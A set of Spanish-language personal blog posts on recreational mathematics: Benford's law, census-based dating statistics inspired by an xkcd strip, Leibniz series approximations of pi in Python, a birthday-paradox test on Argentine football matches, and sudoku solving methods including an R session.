Nótese que la clave está en las grandes magnitudes (recuerden la explicación del universo que se duplica). Existen tablas de números de la vida real^TM que no cumplen la ley dada que estan acotadas en cuento a su rango, por ejemplo los datos del cierre del MERVAL de los últimos 3 años. Si bien son números grandes, su máximo y mínimo es acotado. Imagino (no tengo uno a mano) que los precios unitarios de los productos en un ticket de supermercado tampoco se agustan a la ley por razones parecidas. La tabla de goleadores de un torneo de fútbol padece el mismo trauma. ¿Se les ocurre algún otro ejemplo excepcional a la regla?

Espero hayan aprendido algo nuevo y ahora quieran a la matemática un poquito más :)

PD: Me olvidaba. Tarea para el hogar: Demostrar que la vida real^TM incluye a Fibonacci ;)

Un par de semanas atrás, y por razones que no viene al caso, volví al tema desde cero. En este caso llegué a cosas medianamente concretas (dentro del delirio, claro). Así que aquí están algunos de los resultados que me gustaría compartir con ustedes.

Introducción:

Para aquellos que no tienen idea de los que estoy hablando, una breve introducción. En la famosa tira cómica se plantea una sencilla hipótesis que puede resumirse en la siguiente pregunta: “¿a partir de qué edad tus posibilidades de tener pareja empiezan a bajar?”

Para esto tengamos en cuenta dos elementos:

• A mayor edad, menores las posibilidades de soltería. Es decir, si una persona tiene 20 años es más probable de que esté soltera a que ocurra lo mismo con alguien de 40 años.
• A mayor edad, mayor es el rango de edad de los candidatos. Para poner un ejemplo, no es lo mismo que una persona de 40 salga con otra de 55 que un joven de 18 salga con alguien de 33. Es claro no hay edades para el amor, pero estamos hablando de posibles candidatos. Incluso hablamos de las posibilidades de tener cosas en común, de fijarse en el otro. Randall Munroe, el autor de la tira, propone una fórmula a la que llama “standard creepiness rule” (algo así como “regla estándar de viejo-verdez“, asquerosidad, o algo del estilo). Según él (y muchos parecen coincidir), las personas no salen con alguien que tenga la mitad de su edad más siete. Por ejemplo, en mi caso y con 27 años, mi cota inferior está dada por (27/2)+7=20.5, lo que parece bastante razonable o, al menos, políticamente correcto. Esta misma fórmula también sirve como cota superior, ya que uno es el límite inferior de alguien mayor. Para mi edad corresponde a 40 años porque 40=(27-7)*2. Nótese que para una persona de 20 años sus candidatos van entre 17 y 26, mientras que para alguien de 30 sus opciones van entre 22 y 46. Se supone que hay más personas entre el segundo rango que el primero, al menos hasta que la taza de mortalidad empieza a hacer de las suyas.

Primera aproximación:

Lo interesante de esta situación es la posibilidad de analizarla con datos reales. Son datos que existen, que se preguntan en los censos, pero que no siempre están disponibles para cualquier mortal. Por suerte el INDEC (Instituto Nacional de Estadística y Censos) provee la información de una forma que, aunque críptica para el recién llegado, resulta interesante cuando uno le encuentra la vuelta. Así que fue allí a donde fui, a buscar el universo de la población argentina.

Tomando toda la población mayor a 14 años, por edades simples y situación conyugal, calculé la cantidad de personas candidatas para cada edad, tiendo en cuenta los rangos de edades de esos posibles candidatos. Consideremos candidatos a las personas no casadas (solteros, divorciados, separados legales y viudos). Aquí el gráfico:

Nótese la forma de W-invertida de la gráfica. El máximo absoluto se encuentra a los 27 años. Es decir, en este momento me encuentro en el cenit de la soltería. Es interesante observar, que después del punto de inflexión de los 41, a los 47 vuelve a haber un máximo. Llamemos a este punto El club de la divorciadas ;). Las estadísticas demuestran que la frase “la vida da revancha” tiene fundamento estadístico.

Pero los valor absolutos siempre me parecieron lejanos. Soy de los que disfruta hablar en términos de porcentaje, de probabilidades, es decir, en términos relativos. Así fue como generé este segundo gráfico, con la intención de responder a la pregunta “Si conozco a 100 personas dentro de mi rango de edad, ¿cuántas estarán no-casadas?”:

Así, la cantidad de personas sin compromisos maritales dentro de un rango, sobre la cantidad total de personas de ese rango da un porcentaje de disponibilidad para cada edad. Acá la cosa se pone algo más pesimista, asegurando una clara caída hasta los 44 años, edad desde la cual se inicia un tímido y poco constante ascenso.

Segunda aproximación:

Esta visión es más egocentrista y está pensada en términos totalmente propios. En lo personal, estoy interesado por personas de género femenino, que no solo no estén casadas, sino que además no convivan en pareja (las considero personas en relaciones lo suficientemente fuertes como para quitarlas del conjunto de candidatas). A estas limitaciones le sumaré la restricción geográfica de que tenga residencia dentro de mi ciudad natal y alrededores, por lo que solo tendré en cuenta personas dentro de Buenos Aires y conurbano bonaerence. La ubicación geográfica puede acarrear cambios culturales que tengan efectos en la situación conyugal de las personas, por lo que considero importante tenerlo en cuenta.

Felizmente INDEC tiene una forma rápida de filtrar por estas restricciones, así que seleccioné las regiones geográficas y construí un filtro donde solo se refiera a personas de sexo femenino que no estén conviviendo con una pareja.

Nuevamente, las mismas gráficas:


Esta vez la W-invertida refleja un máximo absoluto muy diferente al inicial, 53 años. Tal vez se parezca más al modelo que, creo que intuitivamente, proponía Munroe. En el gráfico de porcentajes, la caída es mucho más brusca y profunda, perdiendo más de una decena de puntos en su mínimo, que además se da bastante antes, a los 38 años. La pendiente de ascenso es empinada y termina por provocar mayores valores hacia el final de la esperanza de vida que la aproximación anterior.

Suposiciones y limitaciones:

Estos análisis son un emporio de suposiciones y limitaciones. Después de todo, dicen que la estadística es la ciencia del prejuicio. Acá una lista de suposiciones que pueden ser ampliamente discutibles:

• Los homosexuales y religiosos existen en cantidades despreciables. Así que todo hombre soltero busca una mujer y viceversa.
• Las personas con alguna relación de pareja no convivientes son consideradas disponibles. El INDEC no pregunta acerca de estado amoroso de las personas.
• La cantidad de personas con n y medio edad es la mitad de la cantidad de personas con n edad.
• La fórmula “standard creepiness rule” es válida. Aunque posiblemente pueda repetirse la experiencia con fómulas que mejor se ajusten a cada cultura. En lo personal, creo tener poco en común con alguien de 40 años. De hecho, formulas independientes para el hombre y la mujer creo que serían más aplicables. Tal vez los hombres tiene un target más orientado a la izquierda del eje. Pero es medio que gusto de cada uno.
• La información del censo corresponde a datos de 2001. Extrapolarlos no tiene sentido, ya que insertaría muchísimo error. Lo dicho, lo interesante son los números en proporciones.
• La definición de “candidato” esta dada por edad, género, posición geográfica y estado conyugal. No se contempló gustos y esas cosas de esas que hace que las parejas funcionen… o eso dicen :P.

Todo lo necesario para repetir la experiencia se encuentra acá. Enjoy it … que yo voy a estar buscando a esa chica bajo la curva :)

Anoche me hallé frente a la biblioteca buscando nada en espacial. Necesitaba despejar la cabeza, olvidarme de los asuntos terrenales asociados con las complejas interacciones y relaciones humanas.

Fue en esa circunstancia que me encuentro con De los números y su historia de Isaac Asimov (que puede ser descargado desde aquí). Mientras lo hojeaba vi la formula de Leibniz, promediando el capítulo 6 e inmediatamente atrajo mi atención.

Después de expresar la serie, Asimov explica:

<<Ustedes podrán condenar mi falta de perseverancia, pero los invito a calcular la serie de Leibniz simplemente hasta donde la hemos escrito más arriba, es decir hasta 4/15. Incluso pueden enviarme una postal para darme el resultado. Si al terminar se sienten desilusionados al descubrir que su respuesta no está tan cerca de π como lo está el valor 355/113, no se den por vencidos. Sigan sumando términos. Sumen 4/17 al resultado anterior, luego resten 4/19, después sumen 4/21 y resten 4/23, etcétera. Pueden seguir hasta donde lo deseen, y si alguno de ustedes descubre cuántos términos se requieren para mejorar el valor 355/113, escríbanme unas líneas y no dejen de decírmelo. >>
En efecto, la fracción 355/113 parece ser la forma que mejor balancea precisión y simpleza a la hora de arrimarse a π desde lo números racionales, quedando a solo 2.66764189 × 10^-7 de distancia. Mucha gente también utiliza la relación 22/7, aunque con menor precisión.

El desafío propuesto parecía interesante. Resultaba una entretenida oportunidad de jugar con floats en python, que siempre a resultado ser bastante tricky (además de ser un excusa para despejar la cabeza).

Empecé por escribir una versión relativamente obvia de la solución, que me dijo que al llegar al cociente 7497257 (n=3748629 en la sumatoria de Leibniz) el valor de la sumatoria estaría en 3.14159292035, quedando a 2.66764081935 x 10^-7 de π. Dado que los decimales (floats, representaciones de punto flotante) en Python no se comportan de forma intuitiva, decidí hacer una segunda versión.

En esta versión traté de mudarme al predecible mundo de los enteros. Y obtuve valores levemente distintos. En el cociente 7497247 (n=3748624) se obtiene la primera aproximación mejor que 355/113, que es 3.141592386825… (a 2.66764162 x 10^-7 de π)

Tampoco estoy seguro de que la segunda solución sea la correcta. Me pregunto cual será el promedio de valores en las postales que la viuda Asimov seguramente guarda en una caja de zapatos.

El hecho es que fue entretenido intentarlo y tal vez continúe con la experiencia la próxima vez que quiera desconectarme del mundo. Después de todo, como dijo el mismo Asimov: “Los hombres que se acostumbran a preocuparse por las necesidades de unas máquinas, se vuelven insensibles respecto a las necesidades de los hombres”, y hay veces que volverse insensible se ve, erróneamente, como una propuesta seductora. Hay gente que ahoga penas en alcohol, mucho más sano es ahogarlas matemáticas…

BTW, ya que tenía los datos armé un plot de los primeros 1000 valores de la serie para mostrar de forma gráfica la convergencia.

Ahora es momento de volver a la realidad, que buena o mala, irracional o racional (seguro que real al menos), inexacta o precisa, después de este recreo metal ya no se ve tan mal :-)

UPDATE: Sat, 20 Sep 2008 22:18:18 -0300: La solución estaba realmente cerca (en mi misma ciudad) y se llama Facundo, quien dejó un comentario. Bah.. se llama decimal, pero existe gracias a Facundo :). La biblioteca decimal permite manejar de forma exacta una cantidad arbitraria de decimales. La respuesta correcta es…….. (redoblantes de suspenso) con n=(7497259+1)/2! aproxima a Π en 3.141592386825668744985771256 a solo 2.66764125 × 10^-7 del número irracional. El nuevo script.. aquí.

Gracias Facundo, gracias decimal, gracias Asimov, gracias Leibniz….

Antes que nada, una aclaración: aquellos que me conocen saben que a mí el fútbol, como cultura, me es tosco. No se por qué, tal vez algún prejuicio o trauma de la infancia, así que me siento bastante tonto hablando del tema. La razón por la que el siguiente experimento tiene al fútbol de protagonista está justificada en la página 149 del libro Matemática… estas ahí? de Adrián Paenza (que puede bajarse aquí para uso personal).

En la página a la que me refiero el autor explica, con no mucho detalle, la mal llamada Paradoja del Cumpleaños. Para quien no suele hacer clicks sobre los links, una definición fugaz sobre qué es: por más increíble que parezca, en un grupo de 23 personas existe el 50,73% de probabilidad de que dos personas cumplan años el mismo día del año.

En el mismo libro, Paenza propone:

Como últimamente juego poco al fútbol, decidí hacer la experiencia con los partidos del último torneo (Apertura ‘07) de la Liga Argentina. La idea es sencilla: tomar cada partido, averiguar qué jugadores fueron titulares, quién fue el árbitro y sus correspondiente fechas de nacimiento y ver si la teoría coincide con la práctica. Excluí de la experiencia a los jueces de línea, ya que conseguir sus datos era muy complicado y, después de todo, alcanza con 23 para que la esperanza matemática esté de nuestro lado (además, estrictamente hablando, no están dentro de la cancha :P).

Después de algunos scripts para parsear el fixture y un poco de trabajo manual me hice de una lista de partidos, con los jugadores y árbitros. La parte más complicada fue obtener las fechas de nacimiento. Estos últimos datos salieron de fuentes dispersas y no se que tan confiables, por lo que si algún lector friki encuentra algún error agradezco me lo haga saber.

Luego, con un poco de mi mediocre Python, escribí algunas lineas para ver en cuantas canchas del torneo coexistieron personas que pueden juntarse a festejar sus cumpleaños.

Los datos, los resultados y las conclusiones fueron:

• En el torneo hubo 189 partidos. Son 20 equipos que jugaron todos contra todos, a excepción de Gimnasia vs Arsenal.

• Participaron 484 personas, entre jugadores y árbitros.
• Los nombres de pila más populares, en orden, son Juan, Pablo, Diego y Cristian.
• Las colisiones se dieron siempre de a pares. Es decir, no hubo 3 o más personas en el mismo partido que cumplan años el mismo día.
• En 11 partidos hubo dos pares de colisiones. Esto es curioso, porque se trata del 5,82% de los casos, cuando las probabilidades de que ocurran dos colisiones es del 22,5%.
• En 4 partidos hubo tres pares de colisiones. Esto también es curioso, porque se trata del 2,11% de los casos, cuando las probabilidades de que ocurran tres colisiones es del 8,52%. Una de estas colisiones fue el superclásico River vs Boca.
• La gran conclusión: hubo colisiones de cumpleaños en 94 partidos, lo que representa 49,74% del total de partidos.

El detalle de los resultados puede verse acá.

Querido pragmático experimentófilo, no se trata de otra tragedia de la ciencia. Afortunadamente, la matemática es la única ciencia donde la teoría siempre coincide con la práctica. Pero en el juego de las probabilidades, y si bajo la influencia de Paenza, hubiésemos apostado a todos los partidos del último campeonato, tal vez habríamos perdido algo de plata. Faltó un solo partido más con colisión para que la ganancia esté de nuestro lado… será el próximo campeonato.

El porcentaje 49,74% coincide casi a la perfección con la teoría. Es simpáticamente cercano (a 0,99 puntos) al número predicho, y es mucho más alto de lo que un simple mortal intuitivista podría haber arriesgado a primera vista :-).

Hace unas semanas, Mahoo me regaló un pequeño libro con un montón de sudokus para resolver. Si bien conocía el juego, nunca me atrajo particularmente. En esos días, yo estaba buscando algún tema original para uno de los trabajos prácticos de Inteligencia Artificial. La consigna se refería al uso de algoritmos genéticos para la resolución de algún problema. Lo importante no era el programa, sino el análisis de su comportamiento: estudiando, por ejemplo, qué método de cruzamiento se aplica mejor o qué función de aptitud es más representativa.

Viendo como Mahoo se entretenía con alguno de ellos (práctica en la que también se iniciaba) se me ocurrió que un resolver de sudokus podría ser una linda propuesta para mi TP.

Los algoritmos genéticos intentan emular a la naturaleza, a base de prueba y error, favoreciendo a las soluciones más aptas y castigando a las que no lo son tanto. Suponiendo que el cruzamiento de las buenas-soluciones generan aún-mejores-soluciones. Se trata de la búsqueda probabilística, muy parecida a meter muchas soluciones en un cubilete gigante y agitarlas hasta encontrar algo útil.

Al tratarse de un problema determinístico, la solución dista muchísimo de ser óptima. De hecho, ni siquiera se asegura que vaya a haber una solución. Pero me pareció algo simpático de intentar.

El resultado, escrito en mi rústico Python, puede ser bajado de aquí (incluye instrucciones para correrlo en Windows). No, no esperen que funcione bien, advertidos están. Es uno de los peores métodos posibles para este tipo de problemas. Sólo llega a una solución cuando la cantidad de incógnitas es (muy) limitada. Se plantean soluciones a base de llenar de random cada uno de los casilleros vacíos y chequeando cuantos valores se repiten en cada fila, columna y región. Cuando este chequeo da 0, se llega a una solución. Bastante cavernícola como notarán.

Es natural pensar en cuál sería la forma correcta de llegar a una solución. Recordé las clases de Investigación Operativa y la utilización del método simplex para la solución a problemas con restricciones. De hecho, es una solución que muchos proponen. No se si alguno de ustedes lo ha intentado. Yo sí, durante las clases aburridas me senté a pensar como sería el conjunto de ecuaciones y me encontré con una demencial y frustrante cantidad de ecuaciones. Acá hay una linda explicación, la que resumo, haciendo énfasis en las complicaciones:
Se necesitan variables binarias de la forma x_ijk donde 1 significa que el símbolo k (de 1 a 9) va en la celda (i,j) de la solución. 0 significa que no está. Esto genera un total de 729 variables (9³) lo que, como mínimo, asusta. Veamos las ecuaciones:

(1) Para que cada celda (i,j) tenga un símbolo y éste sea único. Se necesitan 81 ecuaciones como éstas (una por cada celda).
(2) Para que en la fila i cada símbolo esté una vez y que en todas las columnas sea distinto. Se necesitan 81 ecuaciones como éstas(una por cada columna y cada símbolo posible).
(3) Para que en la columna j cada símbolo esté una vez y que en todas las filas sea distinto. Se necesitan 81 ecuaciones como éstas(una por cada fila y cada símbolo posible).
(4) Para que en cada región cada símbolo esté una y solo una vez. Se necesitan 81 ecuaciones como éstas (una por cada región y cada símbolo posible).
(5) Representa el enunciado, es decir, el problema a resolver. Por ejemplo, x₁₁₅=1 significa que en la celda (1,1) hay un 5. Dependiendo cuantos casilleros vengan asignados es la cantidad de igualdades como estas que se necesitan; típicamente, ~30.
(6) Restringe las variables al conjunto binario.

¡En total son más de 350 ecuaciones! Hay propuestas con menos ecuaciones, pero siempre serán muchísimas. Evidentemente, ésta tampoco es la solución óptima (aunque es mucho mejor que los algoritmos genéticos). Y su problema radica en que, desde algún punto de vista, el método simplex no se ajusta al problema. Gráficamente, las ecuaciones representan semiplanos en un hiperespacio multidimencional (de 9 dimensiones?) cuya intersección es, en caso que haya una única solución, un único punto. /* Puede que le esté pifiando en esta conclusión final y cualquier ratificación o rectificación es bienvenida */

Simplex está pensado para restricciones de máximos y mínimos donde el objetivo es maximizar o minimizar y las variables binarias intentan ampliar el método para restricciones de este tipo. Da soluciones múltiples en forma de un polígono, donde a una o más se las llama óptima, porque maximiza o minimiza la función objetivo. Es claro que el problema del sudoku no usa sus ventajas y abusa de sus debilidades.

Curiosamente, cuando comenté este problema a un reciente conocido, surgió que también él tuvo que hacer un trabajo práctico que resolvía sudokus. En este caso, el TP giraba entorno a la gestión de la pila para recorrer árboles. Particularmente, árboles empleados en la estrategia de backtracking. Así pues, éste es su programita, sencillo, simpático y rápido. Gracias Nacho :).

Los métodos basados en búsqueda combinatoria sobre árboles parecen ser particularmente buenas para el problema del sudoku. En la wikipedia figuran dos interesantes formas: backtracking y ramificación y poda.

Para terminar, una última casualidad: Por razones que no vienen al caso ahora y que seguramente provocarán un nuevo post en el futuro estoy aprendiendo un lenguaje para el procesamiento de señales llamado R. Estoy trabajando mucho con una biblioteca llamada sound. Buscándola en el repositorio de bibliotecas, me encuentro con una llamada sudoku. No resistí la tentación de probarla :). Un ejemplo de su uso:

> install.packages("sudoku")
> # es necesario instalar tcltk si se quiere la parte gráfica
> install.packages("tcltk")
> library(sudoku)
> library(tcltk)
> library(tkrplot)
> miSudoku <- generateSudoku(Nblank=50, print.it=TRUE)
  +-------+-------+-------+
  |   6   |   7   |   8 2 |
  | 4 8   |     1 | 7     |
  |       | 8 2   | 5     |
  +-------+-------+-------+
  |       | 1     | 9 7   |
  |       |     2 |   5 1 |
  | 5 1 6 |   9 7 |       |
  +-------+-------+-------+
  |       |   4 8 |       |
  | 6 5   | 7   9 | 8     |
  |       |       |   9 7 |
  +-------+-------+-------+
> # la variable miSudoku es una matriz
> miSudoku
       [,1] [,2] [,3] [,4] [,5] [,6] [,7] [,8] [,9]
 [1,]    0    6    0    0    7    0    0    8    2
 [2,]    4    8    0    0    0    1    7    0    0
 [3,]    0    0    0    8    2    0    5    0    0
 [4,]    0    0    0    1    0    0    9    7    0
 [5,]    0    0    0    0    0    2    0    5    1
 [6,]    5    1    6    0    9    7    0    0    0
 [7,]    0    0    0    0    4    8    0    0    0
 [8,]    6    5    0    7    0    9    8    0    0
 [9,]    0    0    0    0    0    0    0    9    7
> #La biblioteca incluye una función para para solucionarlo
> solveSudoku(miSudoku)
       [,1] [,2] [,3] [,4] [,5] [,6] [,7] [,8] [,9]
 [1,]    1    6    5    9    7    3    4    8    2
 [2,]    4    8    2    5    6    1    7    3    9
 [3,]    3    7    9    8    2    4    5    1    6
 [4,]    2    4    8    1    5    6    9    7    3
 [5,]    7    9    3    4    8    2    6    5    1
 [6,]    5    1    6    3    9    7    2    4    8
 [7,]    9    3    7    2    4    8    1    6    5
 [8,]    6    5    1    7    3    9    8    2    4
 [9,]    8    2    4    6    1    5    3    9    7
> # Incluso trae soporte gráfico para resolverlo en una ventanita :)
> playSudoku()

Así fue como, un simple regalo, un TP universitario y un montón de simpáticas casualidades tuvieron su punto de conexión. Y que divertido que resultó ser :). Ahora tengo que escribir el informe sobre los algoritmos genéticos en el sudoku. La semana que viene espero publicarlo aquí.

UPDATE August 6th: El informe y los archivos relacionados ya está publicados.

Leí La Matematica como una de las Bellas Artes de Pablo Amster. Un libro entretenido, corto e interesante, que por momentos peca de subestimar al lector cuando no profundiza en algunos temas por tratarse “de cosas demasiado complejas”. Si bien se trata de un texto de divulgación (aka. “estimular al lector antes que espantarlo” (sic)) en algunos de sus párrafos los fundamentos y explicaciones tienen sabor a poco.

Si sos de esas personas que, como yo, describen al Círculo de Euler como algo simpático, este libro puede interesarte. Mucha anécdota, mucha rareza y mucha clasificación filosófica. Cientoveintitantas páginas bastante entretenidas que invitan a pensar sobre lo lindo de la matemática y la belleza de los teoremas.